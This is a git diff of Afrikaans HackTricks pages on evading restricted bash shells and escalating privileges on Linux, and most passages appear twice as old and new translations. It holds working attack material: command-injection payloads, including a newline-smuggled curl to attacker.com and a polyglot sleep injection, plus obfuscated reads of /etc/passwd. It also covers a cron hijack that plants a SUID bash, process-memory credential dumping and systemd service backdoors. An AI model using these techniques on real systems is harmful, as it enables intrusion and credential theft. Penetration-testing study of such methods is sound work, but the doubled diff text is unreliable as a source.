Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
@ -125,7 +126,7 @@ echo "ls\x09-l" | bash
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass agterkantklets en streep
### Bypass agterkantkant en streepje
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@ -134,7 +135,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Omgang met hekskodering
### Bypass met hekskodering
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -158,14 +159,14 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data eksfiltrasie
### DNS data eksfiltrering
Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik.
### Ingeboude funksies
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, dus jy behoort **al jou opsies te ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** **ingeboude funksies kan gebruik nie**, dus jy behoort **al jou opsies te ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Hier het jy 'n paar **aanbevelings**:
```bash
# Get list of builtins
declare builtins
@ -217,12 +218,12 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Meertalige bevelinspuiting
### Veeltalige bevelinspuiting
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potensiële regexe
### Bypass potensiële regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -314,15 +315,15 @@ ln /f*
'sh x'
'sh g'
```
## Lees-Slegs/Geen Uitvoerbaarheid/Distroless Omgang
## Lees-Slegs/Geen Uitvoer/Beperkte Distro Bypass
Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoerbaarheidsbeskerming** of selfs in 'n distroless houer is, is daar steeds maniere om **arbitrêre bineêre lêers uit te voer, selfs 'n skaal!:**
Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre bineêre lêers uit te voer, selfs 'n skaal!:**
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot & ander Tronke Omgang
## Chroot & ander Jails Bypass
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -338,21 +339,22 @@ Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoerbaarheidsbes
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) om maklik te bou en **outomatiseer werkafloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
{% hint style="success" %}
Leer & oefen AWS Hackings:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hackings: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hackingswenke deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Linux Voorregverhoging
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Stelselinligting
### OS-inligting
### OS inligting
Laten ons begin om 'n bietjie kennis van die bedryfstelsel wat loop, te verkry.
```bash
@ -26,7 +27,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Pad
As jy **skryftoestemmings op enige vouer binne die `PATH`-veranderlike het**, kan jy dalk sommige biblioteke of bineêre lêers kap.
As jy skryfregte het op enige lêer binne die `PATH` veranderlike, kan jy dalk sommige biblioteke of binêre lêers kap.
```bash
echo $PATH
```
@ -38,7 +39,7 @@ Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?
```
### Kernel-uitbuitings
Kontroleer die kernel-weergawe en of daar 'n uitbuiting is wat gebruik kan word om voorregte te eskaleer
Kontroleer die kernel-weergawe en of daar 'n uitbuiting is wat gebruik kan word om voorregte te verhoog
```bash
cat /proc/version
uname -a
@ -51,11 +52,11 @@ Om al die kwesbare kernweergawes van daardie webwerf te onttrek, kan jy die volg
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
Hulpmiddels wat kan help om te soek na kernel-uitbuite is:
Hulpmiddels wat kan help om te soek na kernel-uitbuitings is:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer UIT in slagoffer, kontroleer slegs uitbuite vir kernel 2.x)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer UIT op slagoffer, kontroleer slegs uitbuitings vir kernel 2.x)
**Soek altyd die kernel-weergawe in Google**, dalk is jou kernel-weergawe geskryf in 'n paar kernel-uitbuitings en dan sal jy seker wees dat hierdie uitbuiting geldig is.
@ -112,8 +113,6 @@ else
echo "Not found AppArmor"
fi
```
### Grsecurity
### Grsecurity
```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
@ -131,6 +130,8 @@ fi
(sestatus 2>/dev/null || echo "Not found sestatus")
```
### ASLR
**Adresruimtelayoutrandomisering (ASLR)** is 'n tegniek wat gebruik word om die posisies van geheuekomponente te skuif om aanvalle moeiliker te maak.
```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
@ -158,14 +159,13 @@ Enumerate nuttige bineêre lêers
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
Ook, kontroleer of **enige kompiler geïnstalleer is**. Dit is nuttig as jy 'n paar kernel-uitbuitings moet gebruik, aangesien dit aanbeveel word om dit te kompileer op die masjien waar jy dit gaan gebruik (of op een soortgelyk).
Ook, kontroleer of **enige kompiler geïnstalleer is**. Dit is nuttig as jy 'n kernel-uitbuiting wil gebruik, aangesien dit aanbeveel word om dit op die masjien waar jy dit gaan gebruik (of op een soortgelyk) te kompileer.
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Kwesbare sagteware geïnstalleer
Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Dalk is daar 'n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om voorregte te eskaleer...\
Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware te ondersoek.
Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Dalk is daar 'n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om voorregte te verhoog... Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware te kontroleer.
```bash
dpkg -l #Debian
rpm -qa #Centos
@ -173,7 +173,7 @@ rpm -qa #Centos
Indien jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat binne die masjien geïnstalleer is.
{% hint style="info" %}
_Merk op dat hierdie bevele baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sekere toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende aanvalle_
_Merk op dat hierdie bevele baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sekere toepassings soos OpenVAS of soortgelyk te gebruik wat sal nagaan of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende aanvalle_
{% endhint %}
## Prosesse
@ -184,8 +184,8 @@ ps aux
ps -ef
top -n 1
```
Maak altyd seker dat daar moontlike [**electron/cef/chromium debuggers** aan die hardloop is, jy kan dit misbruik om voorregte te eskaleer](electron-cef-chromium-debugger-abuse.md). **Linpeas** ontdek dit deur die `--inspect` parameter binne die bevellyn van die proses te ondersoek.
Kyk ook na jou voorregte oor die prosesse binêr lêers, miskien kan jy iemand oorskryf.
Maak altyd seker vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om voorregte te eskaleer](electron-cef-chromium-debugger-abuse.md). **Linpeas** ontdek dit deur die `--inspect` parameter binne die bevellyn van die proses te ondersoek.
Ook **kontroleer jou voorregte oor die prosesse binêr lêers**, miskien kan jy iemand oorskryf.
### Proseshantering
@ -193,7 +193,7 @@ Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebrui
### Proseshue
Sommige dienste van 'n bediener stoor **geloofsbriewe in die geheue in die teks**.
Sommige dienste van 'n bediener stoor **geloofsbriewe in die geheue in die oop teks**.
Gewoonlik sal jy **root voorregte** benodig om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer geloofsbriewe wil ontdek.
Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees**.
@ -236,7 +236,7 @@ done
#### /proc/$pid/maps & /proc/$pid/mem
Vir 'n gegewe proses-ID, wys **maps hoe geheue binne daardie proses se** virtuele adresruimte afgebeeld is; dit wys ook die **regte van elke afgebeelde streek**. Die **mem** pseudobestand **blootstel die prosesse se geheue self**. Uit die **maps** lêer weet ons watter **geheue streek leesbaar is** en hul verskuiwings. Ons gebruik hierdie inligting om **in die mem lêer te soek en alle leesbare streek te dump na 'n lêer**.
Vir 'n gegewe proses-ID, wys **maps hoe geheue toegewys is binne daardie proses se** virtuele adresruimte; dit wys ook die **regte van elke toegewysde streek**. Die **mem** pseudobestand **blootstel die proses se geheue self**. Uit die **maps** lêer weet ons watter **geheue streek leesbaar is** en hul verskuiwings. Ons gebruik hierdie inligting om **in die mem lêer te soek en alle leesbare streek te dump na 'n lêer**.
```bash
procdump()
(
@ -287,11 +287,11 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Gereedskap
Om 'n proses se geheue te dump, kan jy die volgende gebruik:
Om 'n prosesgeheue te dump, kan jy die volgende gebruik:
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root vereistes verwyder en die proses wat deur jou besit, dump
* Skrip A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word benodig)
* Skripsie A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word benodig)
### Geldele uit Prosesgeheue
@ -311,13 +311,13 @@ strings *.dump | grep -i password
Die gereedskap [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike tekskredensiale uit die geheue** en uit sommige **bekende lêers** steel. Dit vereis root-voorregte om behoorlik te werk.
| Funksie | Proseshernaam |
| Funksie | Prosesnaam |
| -------------------------------------------------- | -------------------- |
| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Aktiewe FTP Verbindings) | vsftpd |
| Apache2 (Aktiewe HTTP Basiese Verifisering-sessies)| apache2 |
| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Aktiewe FTP Verbindings) | vsftpd |
| Apache2 (Aktiewe HTTP Basiese Verifiseringsessies) | apache2 |
| OpenSSH (Aktiewe SSH-sessies - Sudo Gebruik) | sshd: |
#### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
@ -355,9 +355,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron gebruik 'n skrip met 'n wild card (Wildcard Injection)
### Cron gebruik 'n skrips met 'n wild card (Wildcard Injection)
As 'n skrip deur root uitgevoer word en 'n "**\***" binne 'n bevel het, kan jy dit uitbuit om onverwagte dinge te doen (soos privilige-escalation). Voorbeeld:
As 'n skrips deur root uitgevoer word en 'n "**\***" binne 'n bevel het, kan jy dit uitbuit om onverwagte dinge te doen (soos privilige-escalation). Voorbeeld:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -377,15 +377,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Indien die skripsie wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang tot het**, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **symboliese skakelgids na 'n ander een te skep** wat 'n skripsie beheer wat deur jou beheer word.
Indien die skripsie wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang tot het**, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **symboliese skakelgids na 'n ander een te skep** wat 'n skrips beheer deur jou dien.
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Gereelde cron-werk
Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan gebruik maak en voorregte eskaleer.
Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy hiervan gebruik maak en voorregte eskaleer.
Byvoorbeeld, om **elke 0.1s te monitor vir 1 minuut**, **sorteer volgens minder uitgevoerde opdragte** en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen:
Byvoorbeeld, om **elke 0.1s tydens 1 minuut te monitor**, **te sorteer volgens minder uitgevoerde opdragte** en die opdragte te verwyder wat die meeste uitgevoer is, kan jy doen:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -401,12 +401,12 @@ Dit is moontlik om 'n cronjob te skep **deur 'n karretjie terug te plaas na 'n k
### Skryfbare _.service_ lêers
Kyk of jy enige `.service` lêer kan skryf, as jy kan, **kan jy dit wysig** sodat dit jou **agterdeur uitvoer wanneer** die diens **begin**, **herlaai** of **gestop** word (miskien moet jy wag totdat die masjien herlaai word).\
Kyk of jy enige `.service` lêer kan skryf, as jy kan, **kan jy dit wysig** sodat dit jou **agterdeur uitvoer wanneer** die diens **begin**, **herlaai** of **gestop** word (miskien sal jy moet wag totdat die masjien herlaai word).\
Byvoorbeeld, skep jou agterdeur binne die .service lêer met **`ExecStart=/tmp/script.sh`**
### Skryfbare diens-binêres
Onthou dat as jy **skryftoestemmings oor binêres wat deur dienste uitgevoer word** het, kan jy hulle verander vir agterdeure sodat wanneer die dienste heruitgevoer word, die agterdeure uitgevoer sal word.
Onthou dat as jy **skryftoestemmings oor binêres wat deur dienste uitgevoer word** het, kan jy hulle verander vir agterdeure sodat wanneer die dienste heruitgevoer word, sal die agterdeure uitgevoer word.
### systemd PAD - Relatiewe Paaie
@ -414,7 +414,7 @@ Jy kan die PAD sien wat deur **systemd** gebruik word met:
```bash
systemctl show-environment
```
Indien jy vind dat jy **kan skryf** in enige van die lêers van die pad, kan jy moontlik **bevoorregting eskaleer**. Jy moet soek na **relatiewe paaie wat gebruik word in dienskonfigurasie**-lêers soos:
Indien jy vind dat jy **kan skryf** in enige van die lêers van die pad, kan jy moontlik **priviliges verhoog**. Jy moet soek na **relatiewe paaie wat gebruik word in dienskonfigurasie**-lêers soos:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -426,7 +426,7 @@ Dan, skep 'n **uitvoerbare** met dieselfde naam as die relatiewe pad binêre lê
## **Tydskakelaars**
**Tydskakelaars** is systemd eenheidslêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeure beheer. **Tydskakelaars** kan gebruik word as 'n alternatief vir cron aangesien hulle ingeboude ondersteuning vir kalender tydgebeurtenisse en monotoniese tydgebeurtenisse het en asinkroon uitgevoer kan word.
**Tydskakelaars** is systemd eenheidslêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Tydskakelaars** kan gebruik word as 'n alternatief vir cron aangesien hulle ingeboude ondersteuning vir kalender tydgebeurtenisse en monotoniese tydgebeurtenisse het en asinkronies uitgevoer kan word.
Jy kan al die tydskakelaars opsom met:
```bash
@ -434,29 +434,29 @@ systemctl list-timers --all
```
### Skryfbare timers
As jy 'n tydsaanduig kan wysig, kan jy dit laat uitvoer met sommige bestaandes van systemd.unit (soos 'n `.service` of 'n `.target`)
As jy 'n tydsaanduig kan wysig, kan jy dit laat uitvoer op bestaande systemd.unit (soos 'n `.service` of 'n `.target`)
```bash
Unit=backdoor.service
```
In die dokumentasie kan jy lees wat die Eenheid is:
> Die eenheid wat geaktiveer moet word wanneer hierdie tydhouer verloop. Die argument is 'n eenheidsnaam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, is hierdie waarde verstek na 'n diens wat dieselfde naam as die tydhouereenheid het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die eenheidsnaam wat geaktiveer word en die eenheidsnaam van die tydhouereenheid identies genoem word, behalwe vir die agtervoegsel.
> Die eenheid wat geaktiveer moet word wanneer hierdie tydhouer verloop. Die argument is 'n eenheidsnaam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, word hierdie waarde standaard na 'n diens wat dieselfde naam as die tydhouereenheid het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die eenheidsnaam wat geaktiveer word en die eenheidsnaam van die tydhouereenheid identies genoem word, behalwe vir die agtervoegsel.
Daarom, om hierdie toestemming te misbruik, sal jy nodig hê:
* Vind 'n paar systemd-eenheid (soos 'n `.service`) wat 'n **skryfbare binêre lêer uitvoer**
* Vind 'n paar systemd-eenheid (soos 'n `.service`) wat 'n **skryfbare binêre lê** uitvoer
* Vind 'n paar systemd-eenheid wat 'n **relatiewe pad uitvoer** en jy het **skryfregte** oor die **systemd PAD** (om daardie uitvoerbare lêer te verpersoonlik)
**Leer meer oor tydhouers met `man systemd.timer`.**
### **Tydhouer Aktiveer**
### **Tydhouer aktiveer**
Om 'n tydhouer te aktiveer, benodig jy root-gebruikersregte en moet jy uitvoer:
Om 'n tydhouer te aktiveer, het jy nodig om root-regte te hê en die volgende uit te voer:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Merk op dat die **tydhouer** geaktiveer word deur 'n simbooliese skakel daarna te skep in `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
Let op dat die **tydhouer** geaktiveer word deur 'n simbooliese skakel daarna te skep in `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
## Sockets
@ -467,10 +467,10 @@ Sokkels kan gekonfigureer word met behulp van `.socket`-lêers.
**Leer meer oor sokkels met `man systemd.socket`.** Binne hierdie lêer kan verskeie interessante parameters gekonfigureer word:
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies is verskillend, maar 'n opsomming word gebruik om aan te dui **waar dit gaan luister** na die sokkel (die pad van die AF\_UNIX-sokkellêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
* `Accept`: Neem 'n booleaanse argument. As dit **waar** is, word 'n **diensinstansie geskep vir elke inkomende verbinding** en word slegs die verbindingsokkel daaraan oorgedra. As dit **onwaar** is, word al die luisterende sokkels self aan die beginnende diens eenheid oorgedra, en slegs een diens eenheid word geskep vir al die verbindinge. Hierdie waarde word geïgnoreer vir datagram sokkels en FIFO's waar 'n enkele diens eenheid onvoorwaardelik al die inkomende verkeer hanteer. **Standaard onwaar**. Vir prestasie redes word dit aanbeveel om nuwe duiwels slegs op 'n manier te skryf wat geskik is vir `Accept=no`.
* `Accept`: Neem 'n booleaanse argument. As dit **waar** is, word 'n **diensinstansie geskep vir elke inkomende verbinding** en word slegs die verbindingsokkel daaraan oorgedra. As dit **onwaar** is, word al die luisterende sokkels self aan die beginnende diens-eenheid oorgedra, en slegs een diens-eenheid word geskep vir al die verbindinge. Hierdie waarde word geïgnoreer vir datagram-sokkels en FIFO's waar 'n enkele diens-eenheid onvoorwaardelik al die inkomende verkeer hanteer. **Standaard onwaar**. Vir prestasie-redes word dit aanbeveel om nuwe duiwels slegs op 'n manier te skryf wat geskik is vir `Accept=no`.
* `ExecStartPre`, `ExecStartPost`: Neem een of meer opdraglyne, wat uitgevoer word **voor** of **na** die luisterende **sokkels**/FIFO's **geskep** en gebind word, onderskeidelik. Die eerste token van die opdraglyn moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
* `ExecStopPre`, `ExecStopPost`: Addisionele **opdragte** wat uitgevoer word **voor** of **na** die luisterende **sokkels**/FIFO's **gesluit** en verwyder word, onderskeidelik.
* `Service`: Spesifiseer die **diens** eenheidsnaam **om te aktiveer** met **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sokkels met Accept=no. Dit gaan standaard na die diens wat dieselfde naam as die sokkel dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
* `Service`: Spesifiseer die **diens**-eenheidsnaam **om te aktiveer** met **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sokkels met Accept=no. Dit word standaard na die diens wat dieselfde naam as die sokkel dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
### Skryfbare .socket-lêers
@ -479,7 +479,7 @@ _Merk op dat die stelsel daardie sokkellêer-konfigurasie moet gebruik of die ag
### Skryfbare sokkels
As jy enige skryfbare sokkel **identifiseer** (_nou praat ons oor Unix-sokkels en nie oor die konfigurasie `.socket`-lêers nie_), dan **kan jy kommunikeer** met daardie sokkel en miskien 'n kwesbaarheid uitbuit.
